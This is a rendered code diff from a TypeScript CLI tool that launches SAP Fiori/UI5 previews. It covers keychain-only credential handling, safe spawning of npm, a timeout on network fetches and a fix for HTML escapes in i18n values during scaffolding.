|
+
'not approved in this session (the app\'s ui5 config may have changed after the check). Start the ' +
|
|
322
|
+
'preview again so the approval prompt can be shown.',
|
|
323
|
+
};
|
|
324
|
+
}
|
|
325
|
+
// ── 4. Credentials — keychain only, never a prompt, never a file ─────────
|
|
326
|
+
let password;
|
|
327
|
+
if (loginPassed) {
|
|
328
|
+
const getPassword = deps.getPassword ?? ((s, a) => keychain.getPassword(s, a));
|
|
329
|
+
let stored = null;
|
|
330
|
+
try {
|
|
331
|
+
stored = await getPassword(PREVIEW_KEYCHAIN_SERVICE, args.alias);
|
|
332
|
+
}
|
|
333
|
+
catch {
|
|
334
|
+
stored = null; // keychain unavailable — handled as "no stored password"
|
|
335
|
+
}
|
|
336
|
+
if (!stored) {
|
|
337
|
+
return {
|
|
338
|
+
ok: false,
|
|
339
|
+
error: `no stored password for SAP alias '${args.alias}' — the preview proxy answers the backend's ` +
|
|
340
|
+
'basic-auth challenge with it and cannot prompt. Store it once (run cspeach interactively, ' +
|
|
341
|
+
'or use cspeach config) and start the preview again.',
|
|
342
|
+
};
|
|
343
|
+
}
|
|
344
|
+
password = stored;
|
|
345
|
+
}
|
|
346
|
+
// ── 5. The child environment ─────────────────────────────────────────────
|
|
347
|
+
const { env, insecureFallback, tlsNote } = buildPreviewEnv({
|
|
348
|
+
baseEnv: deps.baseEnv ?? process.env,
|
|
349
|
+
tls,
|
|
350
|
+
...(password !== undefined ? { username: system.username, password } : {}),
|
|
351
|
+
});
|
|
352
|
+
// ── 6. A free port, and npm ──────────────────────────────────────────────
|
|
353
|
+
let port;
|
|
354
|
+
try {
|
|
355
|
+
port = await (deps.pickPort ?? pickFreePort)();
|
|
356
|
+
}
|
|
357
|
+
catch (err) {
|
|
358
|
+
return { ok: false, error: `could not pick a free port — ${err instanceof Error ? err.message : String(err)}` };
|
|
359
|
+
}
|
|
360
|
+
const resolveNpm = deps.resolveNpm ?? (() => resolveExecutable('npm'));
|
|
361
|
+
const npmPath = await resolveNpm();
|
|
362
|
+
if (npmPath === null) {
|
|
363
|
+
return { ok: false, error: 'npm is not installed on this system (not found on PATH) — the preview needs it to run "npm run start"' };
|
|
364
|
+
}
|
|
365
|
+
// ── 7. Spawn ─────────────────────────────────────────────────────────────
|
|
366
|
+
// The ABSOLUTE PATH-resolved npm (never the bare name): cross-spawn resolves
|
|
367
|
+
// a bare name cwd-first on Windows, which a planted `npm.cmd` in the project
|
|
368
|
+
// tree could hijack — the same reasoning as shell_exec.ts / background_run.ts.
|
|
369
|
+
// cross-spawn still wraps an absolute `.cmd` through cmd.exe with per-arg
|
|
370
|
+
// escaping, which is what makes Node >= 20.12 spawn a `.cmd` at all
|
|
371
|
+
// (shell:false + .cmd is EINVAL since CVE-2024-27980).
|
|
372
|
+
//
|
|
373
|
+
// detached: POSIX only. There the child must LEAD its own process group so
|
|
374
|
+
// the whole group (npm → sh → the ui5 server) can be signalled at once. On
|
|
375
|
+
// Windows there are no groups — taskkill /T walks the tree instead — and
|
|
376
|
+
// detached would only pop a console window.
|
|
377
|
+
const spawn = deps.spawn ?? crossSpawn;
|
|
378
|
+
let child;
|
|
379
|
+
try {
|
|
380
|
+
// R1-2: --ignore-scripts — npm still runs "start" itself but skips the
|
|
381
|
+
// pre/post hooks (refused above as well, so this is belt and braces).
|
|
382
|
+
child = spawn(npmPath, ['run', 'start', '--ignore-scripts', '--', '--port', String(port)], {
|
|
383
|
+
cwd: appDir,
|
|
384
|
+
env,
|
|
385
|
+
windowsHide: true,
|
|
386
|
+
shell: false,
|
|
387
|
+
detached: process.platform !== 'win32',
|
|
388
|
+
stdio: ['ignore', 'pipe', 'pipe'],
|
|
389
|
+
});
|
|
390
|
+
}
|
|
391
|
+
catch (err) {
|
|
392
|
+
return { ok: false, error: `could not start the preview — ${scrubSecrets(err instanceof Error ? err.message : String(err), password, system.username)}` };
|
|
393
|
+
}
|
|
394
|
+
// F-5: the child is not in the registry until it is READY, which can be two
|
|
395
|
+
// minutes away. Track it from this instant so quitting the CLI during the
|
|
396
|
+
// wait sweeps it instead of orphaning it.
|
|
397
|
+
markPendingChild(child);
|
|
398
|
+
// ── 8. Capture the child's output — the July failure was invisible ───────
|
|
399
|
+
const stderrTail = new Tail();
|
|
400
|
+
const stdoutTail = new Tail();
|
|
401
|
+
child.stdout?.on('data', (c) => stdoutTail.push(String(c)));
|
|
402
|
+
child.stderr?.on('data', (c) => stderrTail.push(String(c)));
|
|
403
|
+
let exited = false;
|
|
404
|
+
let exitCode = null;
|
|
405
|
+
let exitSignal = null;
|
|
406
|
+
child.on('exit', (code, signal) => { exited = true; exitCode = code; exitSignal = signal; });
|
|
407
|
+
child.on('error', (err) => { exited = true; stderrTail.push(`spawn error: ${err.message}\n`); });
|
|
408
|
+
// ── 9. Readiness, with a hard stop as soon as the child is gone ──────────
|
|
409
|
+
// `now` jumps past the budget once the child exits, so a dead child ends the
|
|
410
|
+
// wait on the next tick instead of burning the full 120s.
|
|
411
|
+
const t0 = Date.now();
|
|
412
|
+
const now = deps.readiness?.now ?? (() => (exited ? t0 + budgetMs + 1 : Date.now()));
|
|
413
|
+
const url = `http://localhost:${port}/${entryFile}`;
|
|
414
|
+
const outcome = await waitForPreview(url, args.servicePath, budgetMs, { probe, now, sleep });
|
|
415
|
+
// R1-1: a child that died during the wait is never registered — its 'exit'
|
|
416
|
+
// has already fired, so nothing would ever forget the entry — even when
|
|
417
|
+
// something else happens to answer the port.
|
|
418
|
+
if (!outcome.ready || exited) {
|
|
419
|
+
// On Windows a dead child's pid may already belong to another process:
|
|
420
|
+
// no taskkill at it. POSIX still signals the group (survivors of a dead
|
|
421
|
+
// leader remain in it, and a pgid is not reused while a member lives).
|
|
422
|
+
if (!exited || process.platform !== 'win32')
|
|
423
|
+
await kill(child.pid, child);
|
|
424
|
+
unmarkPendingChild(child);
|
|
425
|
+
const tail = scrubSecrets([stderrTail.text(), stdoutTail.text()].filter((s) => s.length > 0).join('\n'), password, system.username);
|
|
426
|
+
const readinessLine = outcome.ready
|
|
427
|
+
? 'readiness: the port answered, but not from the process this preview started\n'
|
|
428
|
+
: `readiness: ${describeOutcome(outcome)}\n`;
|
|
429
|
+
const why = exited
|
|
430
|
+
? `the preview process exited (${exitSignal ? `signal ${exitSignal}` : `code ${exitCode}`}) before it became ready`
|
|
431
|
+
: `the preview did not become ready within ${budgetMs}ms — ${outcome.ready ? '' : describeOutcome(outcome)}`;
|
|
432
|
+
return {
|
|
433
|
+
ok: false,
|
|
434
|
+
error: `${why}\nurl: ${url}\n` +
|
|
435
|
+
(exited ? readinessLine : '') +
|
|
436
|
+
(tail.length > 0 ? `last output from the preview process:\n${tail}` : 'the preview process produced no output'),
|
|
437
|
+
};
|
|
438
|
+
}
|
|
439
|
+
// ── 10. Register ─────────────────────────────────────────────────────────
|
|
440
|
+
const entry = {
|
|
441
|
+
previewId: `preview-${randomUUID()}`,
|
|
442
|
+
appDir,
|
|
443
|
+
url,
|
|
444
|
+
port,
|
|
445
|
+
pid: child.pid,
|
|
446
|
+
entry: entryFile,
|
|
447
|
+
startedAt: Date.now(),
|
|
448
|
+
alias: args.alias,
|
|
449
|
+
loginPassed,
|
|
450
|
+
};
|
|
451
|
+
registerPreview(entry, child);
|
|
452
|
+
return {
|
|
453
|
+
ok: true,
|
|
454
|
+
entry,
|
|
455
|
+
tlsNote,
|
|
456
|
+
insecureFallback,
|
|
457
|
+
reused: false,
|
|
458
|
+
loginPassed,
|
|
459
|
+
warnings: [...replacedWarnings, ...insecureWarnings(tls.mode, args.alias)],
|
|
460
|
+
};
|
|
461
|
+
}
|
|
462
|
+
function insecureWarnings(mode, alias) {
|
|
463
|
+
if (mode !== 'insecure')
|
|
464
|
+
return [];
|
|
465
|
+
return [
|
|
466
|
+
`this system is in insecure TLS mode; set sap.${alias}.ca_cert_path to a PEM root CA ` +
|
|
467
|
+
'(the preview was started unchanged — CSPeach never turns certificate checking off)',
|
|
468
|
+
];
|
|
469
|
+
}
|
|
@@ -81,12 +81,27 @@ export function resolveRawBase(rawBase) {
|
|
|
81
81
|
return trimmed;
|
|
82
82
|
return RAW_CONTENT_ROOT + trimmed.replace(/^\/+/, '');
|
|
83
83
|
}
|
|
84
|
+
/** L1-7 (O-22): a hung connection must not stall fiori_sample_get. */
|
|
85
|
+
export const FETCH_TEXT_TIMEOUT_MS = 30_000;
|
|
84
86
|
/** Default network fetch — used only when no `fetchText` is injected. */
|
|
85
|
-
async function defaultFetchText(url) {
|
|
86
|
-
const
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
87
|
+
export async function defaultFetchText(url) {
|
|
88
|
+
const ctrl = new AbortController();
|
|
89
|
+
const timer = setTimeout(() => ctrl.abort(), FETCH_TEXT_TIMEOUT_MS);
|
|
90
|
+
try {
|
|
91
|
+
const res = await fetch(url, { signal: ctrl.signal });
|
|
92
|
+
if (!res.ok)
|
|
93
|
+
throw new Error(`HTTP ${res.status} for ${url}`);
|
|
94
|
+
return await res.text();
|
|
95
|
+
}
|
|
96
|
+
catch (err) {
|
|
97
|
+
if (ctrl.signal.aborted) {
|
|
98
|
+
throw new Error(`fetch of ${url} timed out after ${FETCH_TEXT_TIMEOUT_MS / 1000} s`);
|
|
99
|
+
}
|
|
100
|
+
throw err;
|
|
101
|
+
}
|
|
102
|
+
finally {
|
|
103
|
+
clearTimeout(timer);
|
|
104
|
+
}
|
|
90
105
|
}
|
|
91
106
|
/** Split a name/relative path into segments on either slash flavour. */
|
|
92
107
|
function segments(p) {
|
|
@@ -1,18 +1,24 @@
|
|
|
1
1
|
// cspeach-cli/src/tools/fiori/scaffold.ts
|
|
2
|
-
import { generate, TemplateType } from '@sap-ux/fiori-freestyle-writer';
|
|
3
2
|
import { create } from 'mem-fs';
|
|
4
3
|
import { create as createEditor } from 'mem-fs-editor';
|
|
4
|
+
import { join } from 'node:path';
|
|
5
|
+
import { PINNED_UI5_VERSION } from './ui5-version.js';
|
|
6
|
+
import { decodePropertiesValues } from './html-escapes.js';
|
|
5
7
|
// Without an explicit ui5 config the writer falls back to minUI5Version 1.60,
|
|
6
8
|
// which fiori-tools-proxy resolves to the 1.71 LTS — whose bootstrap does NOT
|
|
7
9
|
// understand the hyphenated `data-sap-ui-on-init` attribute the writer itself
|
|
8
10
|
// emits in index.html. Result: silent blank page (ComponentSupport never runs).
|
|
9
|
-
// 1.120 is the S/4HANA 2023-era LTS and parses the modern attribute.
|
|
10
|
-
|
|
11
|
-
const
|
|
12
|
-
basic: TemplateType.Basic, worklist: TemplateType.Worklist, listdetail: TemplateType.ListDetail,
|
|
13
|
-
};
|
|
11
|
+
// 1.120 is the S/4HANA 2023-era LTS and parses the modern attribute. The exact
|
|
12
|
+
// patch is the ONE pinned, CDN-hosted one (ui5-version.ts) — never an x.y.0 guess.
|
|
13
|
+
const DEFAULT_UI5_VERSION = PINNED_UI5_VERSION;
|
|
14
14
|
/** Scaffold a freestyle UI5 app and FULLY flush it to disk (awaits commit). */
|
|
15
15
|
export async function scaffoldFreestyle(opts) {
|
|
16
|
+
// Loaded on use (fix round 3, item 11e): the writer's module graph cost
|
|
17
|
+
// ~0.5 s of every CLI start, Fiori work or not.
|
|
18
|
+
const { generate, TemplateType } = await import('@sap-ux/fiori-freestyle-writer');
|
|
19
|
+
const TEMPLATE = {
|
|
20
|
+
basic: TemplateType.Basic, worklist: TemplateType.Worklist, listdetail: TemplateType.ListDetail,
|
|
21
|
+
};
|
|
16
22
|
const fs = createEditor(create());
|
|
17
23
|
// NOTE (Phase-0 spike finding): the real freestyle-writer@3 API REQUIRES
|
|
18
24
|
// `app.projectType` and a `package` object — without them ui5-application-writer
|
|
@@ -35,5 +41,11 @@ export async function scaffoldFreestyle(opts) {
|
|
|
35
41
|
data.service = { url: opts.service.url, path: opts.service.path, version: writerVersion };
|
|
36
42
|
}
|
|
37
43
|
await generate(opts.basePath, data, fs);
|
|
44
|
+
// 2026-09-25: the writer HTML-escapes the main view title into i18n.properties
|
|
45
|
+
// ("title=Tom's …"), and UI5 shows those escapes literally. i18n values
|
|
46
|
+
// are plain text — decode them before the files reach disk.
|
|
47
|
+
const i18nPath = join(opts.basePath, 'webapp', 'i18n', 'i18n.properties');
|
|
48
|
+
if (fs.exists(i18nPath))
|
|
49
|
+
fs.write(i18nPath, decodePropertiesValues(fs.read(i18nPath)));
|
|
38
50
|
await new Promise((res, rej) => fs.commit((err) => (err ? rej(err) : res())));
|
|
39
51
|
}
|